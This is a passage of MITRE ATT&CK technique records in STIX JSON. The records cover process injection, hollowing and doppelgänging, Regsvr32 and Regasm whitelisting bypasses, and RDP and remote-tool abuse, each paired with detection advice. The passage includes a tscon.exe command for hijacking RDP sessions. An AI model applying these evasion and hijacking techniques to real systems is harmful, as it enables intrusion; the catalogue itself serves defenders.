            "x_mitre_platforms": [
                "Linux",
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                "User",
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                "SYSTEM"
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                    "phase_name": "discovery",
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            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:48.728Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Process Doppelg\u00e4nging",
            "description": "Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may leverage TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelg\u00e4nging. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.",
            "external_references": [
                {
                    "external_id": "T1186",
                    "url": "https://attack.mitre.org/techniques/T1186",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx",
                    "description": "Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.",
                    "source_name": "Microsoft TxF"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx",
                    "description": "Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.",
                    "source_name": "Microsoft Basic TxF Concepts"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx",
                    "description": "Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.",
                    "source_name": "Microsoft Where to use TxF"
                },
                {
                    "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf",
                    "description": "Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelg\u00e4nging. Retrieved December 20, 2017.",
                    "source_name": "BlackHat Process Doppelg\u00e4nging Dec 2017"
                },
                {
                    "url": "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/",
                    "description": "hasherezade. (2017, December 18). Process Doppelg\u00e4nging \u2013 a new way to impersonate a process. Retrieved December 20, 2017.",
                    "source_name": "hasherezade Process Doppelg\u00e4nging Dec 2017"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx",
                    "description": "Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.",
                    "source_name": "Microsoft PsSetCreateProcessNotifyRoutine routine"
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                "Whitelisting by file name or path",
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            "x_mitre_detection": "Monitor and analyze calls to CreateTranscation, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelg\u00e4nging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.",
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                "Administrator",
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                "User"
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            "x_mitre_platforms": [
                "Windows"
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            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-01-16T16:13:52.465Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Process Hollowing",
            "description": "Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Endgame Process Injection July 2017)",
            "external_references": [
                {
                    "external_id": "T1093",
                    "url": "https://attack.mitre.org/techniques/T1093",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "http://www.autosectools.com/process-hollowing.pdf",
                    "description": "Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.",
                    "source_name": "Leitch Hollowing"
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                {
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "source_name": "Endgame Process Injection July 2017"
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            "x_mitre_detection": "Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls that unmap process memory, such as ZwUnmapViewOfSection or NtUnmapViewOfSection, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Endgame Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.",
            "x_mitre_permissions_required": [
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            "x_mitre_platforms": [
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            "type": "attack-pattern",
            "kill_chain_phases": [
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            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:09.815Z",
            "spec_version": "2.1",
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            "x_mitre_domains": [
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Process Injection",
            "description": "Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.\n\n### Windows\n\nThere are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Endgame Process Injection July 2017)\n\n* **Dynamic-link library (DLL) injection** involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread.\n* **Portable executable injection** involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017)\n* **Thread execution hijacking** involves injecting malicious code or the path to a DLL into a thread of a process. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), the thread must first be suspended.\n* **Asynchronous Procedure Call** (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state. A variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018)  AtomBombing  (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table)\n* **Thread Local Storage** (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. (Citation: FireEye TLS Nov 2017)\n\n### Mac and Linux\n\nImplementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle)\n\n* **LD_PRELOAD, LD_LIBRARY_PATH** (Linux), **DYLD_INSERT_LIBRARIES** (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997)\n* **Ptrace system calls** can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle)\n* **/proc/[pid]/mem** provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle)\n* **VDSO hijacking** performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009)\n\nMalware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.",
            "external_references": [
                {
                    "external_id": "T1055",
                    "url": "https://attack.mitre.org/techniques/T1055",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-242",
                    "url": "https://capec.mitre.org/data/definitions/242.html",
                    "source_name": "capec"
                },
                {
                    "url": "https://github.com/mattifestation/PowerSploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "source_name": "Powersploit"
                },
                {
                    "url": "https://www.endgame.com/blog/technical-blog/hunting-memory",
                    "description": "Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.",
                    "source_name": "Endgame HuntingNMemory June 2017"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx",
                    "description": "Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.",
                    "source_name": "Microsoft APC"
                },
                {
                    "url": "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows",
                    "description": "Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.",
                    "source_name": "ENSIL AtomBombing Oct 2016"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx",
                    "description": "Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.",
                    "source_name": "Microsoft Atom Table"
                },
                {
                    "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon",
                    "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
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                },
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                    "url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html",
                    "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017.",
                    "source_name": "FireEye TLS Nov 2017"
                },
                {
                    "url": "https://www.datawire.io/code-injection-on-linux-and-macos/",
                    "description": "Turner-Trauring, I. (2017, April 18). \u201cThis will only hurt for a moment\u201d: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017.",
                    "source_name": "Datawire Code Injection"
                },
                {
                    "url": "http://hick.org/code/skape/papers/needle.txt",
                    "description": "skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.",
                    "source_name": "Uninformed Needle"
                },
                {
                    "url": "http://phrack.org/issues/51/8.html",
                    "description": "halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017.",
                    "source_name": "Phrack halfdead 1997"
                },
                {
                    "url": "http://vxer.org/lib/vrn00.html",
                    "description": "O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved December 20, 2017.",
                    "source_name": "VDSO hijack 2009"
                },
                {
                    "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.",
                    "source_name": "ArtOfMemoryForensics"
                },
                {
                    "url": "https://www.gnu.org/software/acct/",
                    "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.",
                    "source_name": "GNU Acct"
                },
                {
                    "url": "https://access.redhat.com/documentation/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing",
                    "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
                    "source_name": "RHEL auditd"
                },
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                    "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html",
                    "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.",
                    "source_name": "Chokepoint preload rootkits"
                },
                {
                    "url": "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/",
                    "description": "Gavriel, H. & Erbesfeld, B. (2018, April 11). New \u2018Early Bird\u2019 Code Injection Technique Discovered. Retrieved May 24, 2018.",
                    "source_name": "CyberBit Early Bird Apr 2018"
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                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "source_name": "Endgame Process Injection July 2017"
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                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
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                    "url": "http://msdn.microsoft.com/en-us/library/aa376977",
                    "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.",
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                    "url": "https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key",
                    "description": "Microsoft. (2018, August 20). Description of the RunOnceEx Registry Key. Retrieved June 29, 2018.",
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                    "url": "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/",
                    "description": "Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.",
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                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
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                {
                    "url": "https://msdn.microsoft.com/en-us/library/04za0hca.aspx",
                    "description": "Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.",
                    "source_name": "MSDN Regsvcs"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx",
                    "description": "Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.",
                    "source_name": "MSDN Regasm"
                },
                {
                    "description": "[ Smith, C. (2016, August 17). Includes 5 Known Application Whitelisting/ Application Control Bypass Techniques in One File. Retrieved June 30, 2017.",
                    "source_name": "SubTee GitHub All The Things Application Whitelisting Bypass"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Process monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_contributors": [
                "Casey Smith"
            ],
            "x_mitre_defense_bypassed": [
                "Process whitelisting"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.",
            "x_mitre_remote_support": false,
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "execution",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:33.499Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Regsvr32",
            "description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: SubTee Regsvr32 Whitelisting Bypass) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)",
            "external_references": [
                {
                    "external_id": "T1117",
                    "url": "https://attack.mitre.org/techniques/T1117",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://support.microsoft.com/en-us/kb/249873",
                    "description": "Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.",
                    "source_name": "Microsoft Regsvr32"
                },
                {
                    "description": "[ Smith, C. (2016, April 19). Bypass Application Whitelisting Script Protections - Regsvr32.exe & COM Scriptlets (.sct files). Retrieved June 30, 2017.",
                    "source_name": "SubTee Regsvr32 Whitelisting Bypass"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html",
                    "description": "Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.",
                    "source_name": "FireEye Regsvr32 Targeting Mongolian Gov"
                },
                {
                    "url": "https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/",
                    "description": "Nolen, R. et al.. (2016, April 28). Threat Advisory: \u201cSquiblydoo\u201d Continues Trend of Attackers Using Native OS Tools to \u201cLive off the Land\u201d. Retrieved April 9, 2018.",
                    "source_name": "Carbon Black Squiblydoo Apr 2016"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Casey Smith"
            ],
            "x_mitre_data_sources": [
                "Loaded DLLs",
                "Process monitoring",
                "Windows Registry",
                "Process command-line parameters"
            ],
            "x_mitre_defense_bypassed": [
                "Process whitelisting",
                "Anti-virus"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)",
            "x_mitre_remote_support": false,
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "execution",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:26.966Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Remote Access Tools",
            "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be whitelisted within a target environment. Remote access tools like VNC, Ammy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n\nRemote access tools may be established and used post-compromise as alternate communications channel for [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.\n\nAdmin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)",
            "external_references": [
                {
                    "external_id": "T1219",
                    "url": "https://attack.mitre.org/techniques/T1219",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf",
                    "description": "Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018.",
                    "source_name": "Symantec Living off the Land"
                },
                {
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf",
                    "description": "CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018.",
                    "source_name": "CrowdStrike 2015 Global Threat Report"
                },
                {
                    "url": "https://blog.crysys.hu/2013/03/teamspy/",
                    "description": "CrySyS Lab. (2013, March 20). TeamSpy \u2013 Obshie manevri. Ispolzovat\u2019 tolko s razreshenija S-a. Retrieved April 11, 2018.",
                    "source_name": "CrySyS Blog TeamSpy"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Matt Kelly, @breakersall"
            ],
            "x_mitre_data_sources": [
                "Network intrusion detection system",
                "Network protocol analysis",
                "Process use of network",
                "Process Monitoring"
            ],
            "x_mitre_detection": "Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.\n\n[Domain Fronting](https://attack.mitre.org/techniques/T1172) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.",
            "x_mitre_network_requirements": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "command-and-control",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Remote Desktop Protocol",
            "description": "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware)\n\nAdversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, <code>c:\\windows\\system32\\tscon.exe [session number to be stolen]</code>, an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)",
            "external_references": [
                {
                    "external_id": "T1076",
                    "url": "https://attack.mitre.org/techniques/T1076",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-555",
                    "url": "https://capec.mitre.org/data/definitions/555.html",
                    "source_name": "capec"
                },
                {
                    "url": "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/",
                    "description": "Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014.",
                    "source_name": "Alperovitch Malware"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx",
                    "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.",
                    "source_name": "TechNet Remote Desktop Services"
                },
                {
                    "url": "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html",
                    "description": "Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.",
                    "source_name": "RDP Hijacking Korznikov"
                },
                {
                    "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6",
                    "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.",
                    "source_name": "RDP Hijacking Medium"
                },
                {
                    "url": "https://github.com/nccgroup/redsnarf",
                    "description": "NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.",
                    "source_name": "Kali Redsnarf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Matthew Demaske, Adaptforward"
            ],
            "x_mitre_data_sources": [
                "Authentication logs",
                "Netflow/Enclave netflow",
                "Process monitoring"
            ],
            "x_mitre_detection": "Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nAlso, set up process monitoring for <code>tscon.exe</code> usage and monitor service creation that uses <code>cmd.exe /k</code> or <code>cmd.exe /c</code> in its arguments to prevent RDP session hijacking.",
            "x_mitre_permissions_required": [
                "Remote Desktop Users",
                "User"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_system_requirements": [
                "RDP service enabled, account in the Remote Desktop Users group."
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "lateral-movement",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:59.769Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Remote File Copy",
            "description": "Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as [FTP](https://attack.mitre.org/software/S0095). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.\n\nAdversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076).",
            "external_references": [
                {
                    "external_id": "T1105",
                    "url": "https://attack.mitre.org/techniques/T1105",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring",
                "Packet capture",
                "Process use of network",
